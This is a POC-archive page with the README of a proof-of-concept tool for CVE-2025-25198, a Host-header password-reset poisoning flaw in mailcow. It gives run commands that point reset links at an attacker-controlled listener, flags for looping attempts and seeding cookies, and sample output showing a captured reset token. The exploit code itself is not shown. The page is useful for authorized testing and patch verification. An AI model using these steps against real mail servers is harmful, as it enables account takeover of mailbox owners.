Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1359 CNY

100%

CVE-2025-25198 PoC — mailcow: dockerized vulnerable to password reset poisoning

Source
Associated Vulnerability
Title: mailcow: dockerized vulnerable to password reset poisoning (CVE-2025-25198)
Description:mailcow: dockerized is an open source groupware/email suite based on docker. Prior to version 2025-01a, a vulnerability in mailcow's password reset functionality allows an attacker to manipulate the `Host HTTP` header to generate a password reset link pointing to an attacker-controlled domain. This can lead to account takeover if a user clicks the poisoned link. Version 2025-01a contains a patch. As a workaround, deactivate the password reset functionality by clearing `Notification email sender` and `Notification email subject` under System -> Configuration -> Options -> Password Settings.
Readme
# CVE-2025-25198-PoC

This repository provides a proof-of-concept to validate **Host header poisoning** in Mailcow ([CVE-2025-25198](https://nvd.nist.gov/vuln/detail/CVE-2025-25198)).
It spins up a local **HTTPS listener**, automatically handles **session cookies** and **CSRF tokens** (or accepts both manually via flag), and triggers Mailcow’s password-reset flow with a poisoned Host header.
On success, it halts at the first valid reset link and prints it in a consistent format-rewritten to the target’s base URL so you can click it directly.

## What It Does (Summary)

1. Spins up an HTTPS listener (self-signed) on **port 443**.
2. Creates a fresh HTTP client with a persistent cookie jar.
3. Obtains a valid CSRF token just-in-time.
4. Triggers the password reset with a poisoned `Host`.
5. Extracts the reset link, or waits for a click.
6. Stops at the first success and prints a clean, readable banner.

## Requirements

```bash
# Runtime
- Python 3.8+   # 3.10+ recommended

# Python packages
# Option A (HTTP/2, recommended):
pip install httpx

# Option B (HTTP/1.1 fallback):
pip install requests

# System requirements
  - OpenSSL in PATH (auto-generates 'server.pem' / 'server.key')  
  - Ability to bind privileged port 443 (requires sudo/root on Unix-like systems)  
  - Firewall/NAT/VPN must allow inbound TCP on port 443 to your machine
```

## Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values
and do NOT include the < or > characters.

```bash
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <URL> \
  --username <USER> \
  --attacker-host <IP> \
  --http2
```

### What to put in each placeholder

```bash
<URL>   # Target Mailcow base URL (scheme + host [+ optional :port]).
        # This should be the root of the Mailcow UI; no trailing slash required.
        # Self-signed certs are fine; add --verify-tls if you need strict TLS.

<USER>  # Target mailbox identifier used by Mailcow’s reset form.
        # Typically the full email address.

<IP>    # Your attacker host/IP or DNS name where the vulnerable server will point
        # the reset link (the script’s HTTPS listener must be reachable here).
        # If you use a DNS name, ensure it resolves to your box from the target.

# Notes:
# - --listen-host 0.0.0.0 binds on all interfaces. Use a specific local IP if desired.
# - Ensure firewall/NAT/VPN allows inbound TCP on port 443 to your machine.
# - Port is fixed to 443 and requires sudo/root on Unix-like systems.
```

## Full Example

```bash
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username michael@cows.com \
  --attacker-host 10.10.13.12 \
  --http2
```

On success, you’ll see something like:

```bash
[2025-10-18T01:38:49Z] [HIT] GET /reset-password?token=AAAAAA-BBBBBB-CCCCCC-DDDDDD-EEEEEE ← mail.cows.com [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAAAA-BBBBBB-CCCCCC-DDDDDD-EEEEEE ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

Success: reset link obtained. Exiting.
```

Here is a quick demo of how to use it:

[![asciicast](https://asciinema.org/a/750363.svg)](https://asciinema.org/a/750363)

## Optional Flags

```bash
--interval <seconds>
   Seconds between attempts and the wait window for a captured click. Default: 8

--max-attempts <N>
   Maximum number of attempts before exiting; 0 means infinite. Default: 0

--cookie '<pairs>'
   Seed the client cookie jar with one or more cookie pairs.
   Useful if you already have a valid session (e.g., PHPSESSID=...).
   Example: --cookie 'PHPSESSID=abcdef123456; another=foo'

--csrf '<TOKEN>'
   Provide a CSRF token manually. If omitted, the tool auto-discovers it
   (HTML/meta/JS/Set-Cookie parsing + preflight POST fallback with a single retry on error).

--only-final
   Suppress progress logs and print only the final success banner when a valid link is found.
```

## Legal

This PoC is intended for **authorized security testing** and **developer verification** of the fix/workarounds.
Do not use it without explicit permission on the target system.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →